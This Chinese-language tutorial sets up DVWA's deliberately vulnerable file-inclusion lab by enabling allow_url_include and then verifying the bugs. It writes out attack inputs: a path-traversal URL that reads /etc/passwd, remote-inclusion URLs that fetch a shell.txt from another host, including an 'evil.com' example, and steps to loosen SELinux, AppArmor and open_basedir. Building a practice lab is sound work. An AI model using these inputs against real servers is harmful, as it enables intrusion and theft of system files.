DVWA文件包含漏洞环境搭建:从allow_url_include配置到实战验证
1. 项目概述:为什么从allow_url_include开始?
如果你刚开始接触Web安全,或者想找一个能让你“动手”而不是“看理论”的靶场,DVWA(Damn Vulnerable Web Application)绝对是首选。它把各种经典漏洞,比如SQL注入、XSS、文件上传,都做成了不同难度的关卡,让你在一个受控的环境里随便“折腾”。而文件包含漏洞,作为Web安全中一个既基础又威力巨大的漏洞类型,在DVWA里自然也是重头戏。
但很多新手在DVWA里第一次点开“File Inclusion”这一项时,往往会懵——怎么页面一片空白,或者直接报错了?问题十有八九出在一个关键的PHP配置上:allow_url_include。这个配置项默认是关闭的,而DVWA的文件包含漏洞利用,尤其是远程文件包含(RFI),恰恰需要它处于开启状态。所以,搞定DVWA的文件包含环境,第一步不是去写什么高深的Payload,而是把这个“开关”打开。
这听起来像是个简单的配置问题,但背后涉及对PHP安全机制、Web服务器环境、以及漏洞原理的理解。今天,我就以一个过来人的身份,手把手带你走一遍这个流程。我们不止是打开一个开关,更要弄明白为什么要打开它,以及在这个过程中你可能会踩哪些坑、怎么解决。目标很明确:搭建一个能让你从Low级别一路“打”到High级别的、功能完整的DVWA文件包含漏洞实战环境。
2. 环境整体设计与思路拆解
2.1 核心目标:构建一个“可攻可守”的漏洞实验场
搭建DVWA文件包含环境,我们的目标不是简单地让一个网页能跑起来。而是要构建一个功能完整、漏洞可控、便于观察和分析的实验场。这意味着:
- 漏洞必须“活”起来:Low级别的本地文件包含(LFI)和远程文件包含(RFI)都要能成功复现。特别是RFI,它是检验
allow_url_include是否生效的“试金石”。 - 环境必须“干净”且“标准”:我们使用最通用的组合——PHP + Apache,确保教程的普适性。避免使用一些高度集成的、黑箱化的环境,那样出了问题你都不知道从哪里查起。
- 过程必须“透明”:每一步操作,从修改配置到重启服务,其背后的原理和可能产生的影响,都需要解释清楚。知其然,更要知其所以然。
- 排错路径必须清晰:我会把我在无数次搭建中遇到过的典型错误和解决方案都列出来,让你在遇到问题时能快速定位,而不是漫无目的地搜索。
2.2 方案选型:为什么是PHP+Apache,而不是Docker一键包?
你可能会问,现在不是流行用Docker吗?一个docker-compose up不就全搞定了?确实,Docker非常方便,但对于学习阶段,我强烈建议你从“手动搭建”开始。
手动搭建的优势:
- 深度理解:你需要亲自去修改
php.ini,去重启Apache,去理解配置文件的位置和作用。这个过程能让你对Web应用的运行环境有最直观的认识。 - 排错能力:当Docker容器里出现一个你无法理解的错误时,你往往会束手无策。而手动搭建过程中遇到的每一个错误,都是你学习系统知识、提升排错能力的绝佳机会。
- 可控性:你可以精确地控制每一个环节,方便后续进行更复杂的实验,比如搭配Burp Suite、配置自定义的DNS或HTTP服务器用于RFI等。
当然,如果你已经非常熟悉底层环境,只是为了快速复现漏洞,Docker是极好的选择。但本教程的定位是“手把手教你”,所以我们选择从基础做起,确保你能掌握每一个环节。
2.3 关键配置:allow_url_include与allow_url_fopen的辨析
这是整个环境搭建的核心,也是新手最容易混淆的地方。我们来彻底理清一下:
allow_url_fopen:这个配置决定PHP是否允许使用fopen(),file_get_contents()等函数,像打开本地文件一样,通过HTTP或FTP等协议打开远程URL。它主要针对的是“数据流”的读取。默认情况下,很多环境是开启的。allow_url_include:这个配置决定PHP是否允许include(),require()等文件包含函数,去包含远程服务器上的文件(如http://evil.com/shell.txt)。它直接决定了远程文件包含(RFI)漏洞能否被利用。由于安全风险极高,它默认是关闭的。
它们的关系是:allow_url_include依赖于allow_url_fopen。也就是说,如果你想开启allow_url_include,通常也需要确保allow_url_fopen是开启的。但反过来,只开启allow_url_fopen而关闭allow_url_include,RFI漏洞依然无法利用。
在DVWA文件包含漏洞的实战中:
- Low级别:主要利用LFI,读取服务器本地文件(如
../../../../etc/passwd)。这个级别不强制需要allow_url_include开启。 - Medium/High级别:漏洞利用往往涉及RFI,或者需要更灵活的包含技巧。开启
allow_url_include后,你才能完整地体验所有攻击向量,例如包含一个远程服务器上的Web Shell。
所以,我们的操作核心就是:找到正确的php.ini文件,将allow_url_include和allow_url_fopen的值都设置为On,然后确保Web服务器加载了这个修改后的配置。
3. 核心细节解析与实操要点
3.1 定位php.ini:哪个才是有效的配置文件?
这是实操的第一步,也是卡住最多人的一步。你的系统里可能不止一个php.ini文件。
为什么会有多个php.ini?PHP可以以多种方式运行:作为Apache模块(mod_php)、作为CGI、作为命令行接口(CLI)。每种运行方式都可以有自己独立的配置文件。为Web服务(Apache)提供PHP解析能力的是mod_php模块,它加载的php.ini才是我们需要修改的。
如何精准定位?最可靠的方法不是去猜,而是让PHP自己告诉我们。我们在DVWA的目录下创建一个简单的PHP探针文件。
- 在你的DVWA安装目录下(例如
/var/www/html/dvwa/),新建一个文件,命名为info.php。 - 在这个文件里,只写一行代码:
<?php phpinfo(); ?>。 - 通过浏览器访问这个文件,比如
http://你的IP/dvwa/info.php。
这会显示一个包含大量PHP配置信息的页面。在这个页面上,你需要找到两个关键信息:
- Loaded Configuration File:这一行明确指出了当前Apache加载的
php.ini文件的完整路径。这个路径下的文件,就是我们必须修改的目标。 - allow_url_fopen 和 allow_url_include:在页面上搜索这两个关键词,可以看到它们当前的状态是
On还是Off。这可以用于修改后的验证。
注意:完成配置修改和验证后,务必删除这个
info.php文件。因为它会暴露大量敏感的服务器信息,在真实环境中这是一个严重的安全隐患。我们只是在调试阶段临时使用它。
3.2 修改配置:不仅仅是改一个值
找到正确的php.ini后,用文本编辑器(如vim, nano, notepad++)以管理员权限打开它。
在文件中搜索allow_url_include和allow_url_fopen。你可能会看到类似下面的行:
; Whether to allow include/require to open URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-include allow_url_include = Off ; Whether to allow the treatment of URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-fopen allow_url_fopen = On你需要做的是:
- 将
allow_url_include = Off修改为allow_url_include = On。 - 确认
allow_url_fopen = On。如果它是Off,同样改为On。
这里有一个至关重要的细节:注意每一行配置前面是否有分号;。在php.ini中,分号是注释符。如果一行配置以分号开头,那么这一行是无效的,只是一个说明。你必须确保你修改的是没有分号开头的那一行。有时候,配置项被注释了,你可能需要删除行首的分号来激活它。
3.3 重启服务:让配置生效的关键一步
修改并保存php.ini后,必须重启Web服务器(Apache),新的配置才会被加载。这是很多新手会忽略的一步,他们以为保存了就万事大吉。
- 在Linux上(如Ubuntu, Kali):
sudo systemctl restart apache2 # 或者使用旧式的service命令 # sudo service apache2 restart - 在Windows上(使用XAMPP等集成环境):打开XAMPP控制面板,在Apache模块那一行,点击
Stop,等待服务完全停止后,再点击Start。
重启后,再次访问之前创建的info.php页面,刷新,确认allow_url_include和allow_url_fopen的状态已经变为On。
3.4 DVWA自身的安全等级设置
DVWA有一个内置的安全等级机制,它会从Low、Medium、High到Impossible四个级别,逐步增加防护措施。这直接影响文件包含漏洞的利用难度。
设置路径:登录DVWA后,在左侧菜单找到DVWA Security,点击进入。在这里你可以下拉选择安全等级,并点击Submit保存。
- Low:几乎没有防护。文件包含的参数直接传递给
include()函数,可以轻松进行目录遍历和远程包含。 - Medium:增加了一些过滤,比如检查参数中是否包含
http://、https://、../等字符串,但通常可以通过简单的变形绕过。 - High:防护更强,要求参数必须以
file开头(如file1、file2等),且只能包含特定的文件名,极大地限制了包含范围。但结合服务器其他漏洞(如文件上传),仍有利用可能。 - Impossible:使用了白名单机制,只允许包含几个预设的、绝对安全的文件,从根本上杜绝了漏洞。
实操要点:在搭建环境和学习过程中,请始终将安全等级设置为Low。我们的首要目标是让漏洞能够被复现和理解。在完全掌握Low级别的利用后,再去挑战Medium和High级别的绕过技巧。不要在环境都没配通的情况下去挑战高难度,那只会打击你的信心。
4. 实操过程与核心环节实现
下面,我将以最常见的Kali Linux + Apache2 + PHP环境为例,展示完整的搭建和验证流程。假设你的DVWA已经安装在/var/www/html/dvwa/目录下。
4.1 第一步:创建PHP信息探针
首先,我们创建一个文件来查看当前配置。
cd /var/www/html/dvwa/ sudo echo "<?php phpinfo(); ?>" > info.php现在,在浏览器中访问:http://<你的Kali_IP>/dvwa/info.php
4.2 第二步:定位并修改php.ini
在打开的phpinfo()页面中,仔细查找Loaded Configuration File这一项。假设它显示为/etc/php/8.2/apache2/php.ini(你的PHP版本可能不同,比如7.4、8.1等,以实际显示为准)。
现在,我们来修改这个文件:
sudo nano /etc/php/8.2/apache2/php.ini在nano编辑器中,使用Ctrl+W进行搜索。先搜索allow_url_include。 找到类似下面这行:
allow_url_include = Off将其改为:
allow_url_include = On然后,搜索allow_url_fopen,确保它的值是On。
allow_url_fopen = On修改完成后,按Ctrl+O保存,再按Ctrl+X退出nano。
4.3 第三步:重启Apache服务
让修改生效:
sudo systemctl restart apache2你可以通过以下命令检查Apache是否重启成功:
sudo systemctl status apache2如果看到active (running)的字样,说明服务已正常启动。
4.4 第四步:验证配置生效
刷新浏览器中的info.php页面。在页面内搜索allow_url_include和allow_url_fopen,确认它们的Local Value和Master Value都已经变成了On。
验证成功后,立即删除探针文件,这是一个重要的安全习惯!
sudo rm /var/www/html/dvwa/info.php4.5 第五步:登录DVWA并设置安全等级
- 访问
http://<你的Kali_IP>/dvwa/。 - 使用默认账号
admin,密码password登录。 - 点击页面下方的
Create / Reset Database按钮,初始化数据库。完成后会自动跳转到登录页,重新用admin/password登录。 - 登录后,在左侧菜单点击
DVWA Security。 - 将安全等级设置为
Low,然后点击Submit。
4.6 第六步:实战验证文件包含漏洞
现在,进入正题。点击左侧菜单的File Inclusion。
Low级别 - 本地文件包含(LFI)测试:你会看到一个页面,上面有file1.php、file2.php、file3.php三个链接。查看URL,你会发现类似?page=file1.php的参数。 尝试修改这个参数,进行目录遍历:
http://<你的Kali_IP>/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd如果配置正确,你应该能在页面上看到Linux系统的用户列表。这说明基本的LFI漏洞存在。
Low级别 - 远程文件包含(RFI)测试(核心验证):这是检验allow_url_include是否真正开启的“终极测试”。你需要准备一个包含PHP代码的远程文件。
- 在另一台服务器(或者用Python在本机临时起一个HTTP服务)上,创建一个文本文件
shell.txt,内容为最简单的PHP代码:<?php phpinfo(); ?>。注意,为了能被包含执行,文件后缀最好是.txt或.php,并且内容必须是纯PHP代码,不能有HTML标签,否则包含时可能会出错。 - 确保这个文件可以通过HTTP访问,例如
http://你的另一台IP/shell.txt。 - 在DVWA的File Inclusion页面,构造URL:
http://<你的Kali_IP>/dvwa/vulnerabilities/fi/?page=http://你的另一台IP/shell.txt - 访问这个URL。
成功标志:如果页面上显示了phpinfo()的信息,而不是你写的<?php phpinfo(); ?>这段源代码,那么恭喜你!这说明远程文件被成功下载、包含并作为PHP代码执行了。这完全证明了allow_url_include配置已生效,RFI漏洞环境搭建成功。
重要提示:RFI测试请务必在你自己的实验网络环境中进行,切勿指向互联网上的未知地址,也切勿包含恶意代码。
5. 常见问题与排查技巧实录
即使按照步骤操作,你也可能会遇到一些问题。下面是我在多次教学和搭建中总结的“坑位”和解决方案。
5.1 问题一:修改php.ini后,phpinfo()显示配置仍未改变
可能原因及排查:
- 修改了错误的php.ini文件:这是最常见的原因。再次确认
phpinfo()中Loaded Configuration File的路径,确保你修改的就是它。 - 配置项被重复定义:在
php.ini中,有时一个配置项会出现多次(例如在不同模块的配置区域)。你需要确保修改的是最后一个生效的、没有被注释掉的那个。可以用编辑器搜索功能,找到所有allow_url_include出现的地方,统一修改或确保只有一个有效设置。 - Web服务器未重启:你确定执行了
sudo systemctl restart apache2并且没有报错吗?检查Apache状态确认重启成功。有时还需要重启php-fpm服务(如果你使用的是PHP-FPM模式),命令是sudo systemctl restart php8.2-fpm(版本号需替换)。 - .user.ini或.htaccess覆盖:在某些目录下,可能存在
.user.ini或.htaccess文件,它们可以覆盖主php.ini的配置。检查DVWA目录及其父目录下是否有这类文件,并查看其内容。 - SELinux或AppArmor限制(Linux):某些严格的安全策略可能会阻止Apache进程读取修改后的配置文件或执行某些操作。可以尝试临时将其设置为宽容模式进行测试:
注意:测试完毕后,出于安全考虑,应恢复原有策略。# 对于SELinux(如CentOS/RHEL) sudo setenforce 0 # 对于AppArmor(如Ubuntu) sudo aa-complain /usr/sbin/apache2
5.2 问题二:RFI测试时,远程文件内容被显示为文本,而非执行
现象:访问包含远程文件的URL后,页面上显示的是<?php phpinfo(); ?>这段源代码文本,而不是phpinfo()函数的输出页面。
原因分析:
allow_url_include未生效:这是最可能的原因。请严格按照问题一的步骤排查。- 远程文件内容或服务器问题:
- 文件后缀:远程服务器可能根据文件后缀
.txt将其作为纯文本文件提供,在响应头中设置了Content-Type: text/plain。PHP在包含时可能会受到影响。尝试将远程文件后缀改为.php,或者确保你的HTTP服务器对.txt文件也能正确发送PHP相关的头信息(这通常需要服务器配置)。 - 文件内容:确保远程文件内容只有
<?php phpinfo(); ?>,开头不能有空格、UTF-8 BOM或任何HTML标签。任何在<?php ?>标签之外的非PHP内容,都可能导致解析错误或内容被直接输出。 - HTTP服务:你用来提供
shell.txt的HTTP服务是否稳定?能否从靶机直接通过浏览器访问到这个文件?确保网络是通的。
- 文件后缀:远程服务器可能根据文件后缀
快速诊断技巧: 在DVWA靶机上,用命令行测试远程文件获取和包含:
# 测试能否获取远程文件内容 curl http://你的另一台IP/shell.txt # 如果上一步成功,测试PHP命令行包含(这使用的是CLI的php.ini配置,可能与Web不同) php -r "include('http://你的另一台IP/shell.txt');"如果curl能获取内容但php -r执行失败或只输出源码,那很可能就是allow_url_include在CLI环境下是关闭的,但这不影响Web环境。如果Web环境下也不行,则重点排查Web的PHP配置。
5.3 问题三:包含本地文件(LFI)成功,但路径遍历深度不够
现象:使用../../../../etc/passwd无法看到内容,但使用../少一些可以包含到DVWA目录下的其他文件。
原因分析:
- 开放目录限制(open_basedir):PHP配置中的
open_basedir指令将PHP脚本能访问的文件限制在指定的目录树中。如果设置了此指令,超出范围的路径遍历会被禁止。你可以在phpinfo()中搜索open_basedir查看。 - 操作系统路径差异:Windows和Linux的路径分隔符和结构不同。在Windows上测试LFI时,可能需要使用
..\..\..\..\windows\win.ini这样的路径。
解决方案:
- 对于
open_basedir,在实验环境中,为了学习方便,可以暂时在php.ini中将其注释掉(行首加;)或设置为空值open_basedir = none(不推荐用于生产环境),然后重启Apache。 - 始终注意操作系统的路径格式。
5.4 问题四:访问DVWA页面出现数据库连接错误
现象:登录DVWA或点击Create / Reset Database时,提示Database Error或Could not connect to the database。
原因分析:DVWA需要MySQL/MariaDB数据库支持。虽然PHP和Apache好了,但数据库服务可能没启动,或者DVWA的配置文件config/config.inc.php中的数据库连接信息不正确。
解决方案:
- 启动数据库服务:
sudo systemctl start mysql # 或 mariadb sudo systemctl enable mysql # 设置开机自启(可选) - 检查并修改配置文件:
检查以下关键配置,根据你的数据库情况修改:cd /var/www/html/dvwa/ sudo cp config/config.inc.php.dist config/config.inc.php sudo nano config/config.inc.php
Kali默认的MySQL root密码可能为空。你可以尝试将$_DVWA[ 'db_server' ] = '127.0.0.1'; // 数据库地址,本地就是127.0.0.1 $_DVWA[ 'db_database' ] = 'dvwa'; // 数据库名,默认dvwa $_DVWA[ 'db_user' ] = 'root'; // 数据库用户名 $_DVWA[ 'db_password' ] = 'p@ssw0rd'; // 数据库密码,Kali默认可能是空密码‘’db_password设为''(两个单引号,中间为空)。如果设置了密码,则填入你的密码。 - 重置数据库:在浏览器中再次点击
Create / Reset Database链接。
5.5 问题速查表
| 问题现象 | 最可能原因 | 首要排查步骤 |
|---|---|---|
phpinfo()中allow_url_include为Off | 1. 修改的php.ini不对 2. 未重启Apache | 1. 确认Loaded Configuration File路径2. 执行 sudo systemctl restart apache2并检查状态 |
| RFI包含远程文件显示源码 | 1.allow_url_include未生效2. 远程文件内容/服务器问题 | 1. 同上 2. 检查远程文件内容是否纯净,用 curl测试访问 |
| LFI路径遍历失败 | 1.open_basedir限制2. 路径深度不够/错误 | 1.phpinfo()中查open_basedir2. 尝试更多 ../或绝对路径 |
| DVWA数据库连接错误 | 1. 数据库服务未启动 2. 配置文件错误 | 1.sudo systemctl start mysql2. 检查 config/config.inc.php文件 |
| 页面显示空白或PHP代码 | PHP模块未正确加载或解析 | 检查Apache是否加载了libapache2-mod-php模块,并重启服务 |
环境搭建本身就是一个学习和排错的过程。遇到问题不要慌,按照“现象 -> 可能原因 -> 逐一验证”的思路,结合命令行工具(如systemctl,curl,php -m)和phpinfo()提供的信息,大部分问题都能被解决。每一次成功的排错,都会让你对这套环境的理解加深一层。当你能流畅地在Low级别进行LFI和RFI实验时,就可以进一步去研究Medium和High级别的过滤机制与绕过方法了,那将是另一个充满挑战和乐趣的领域。
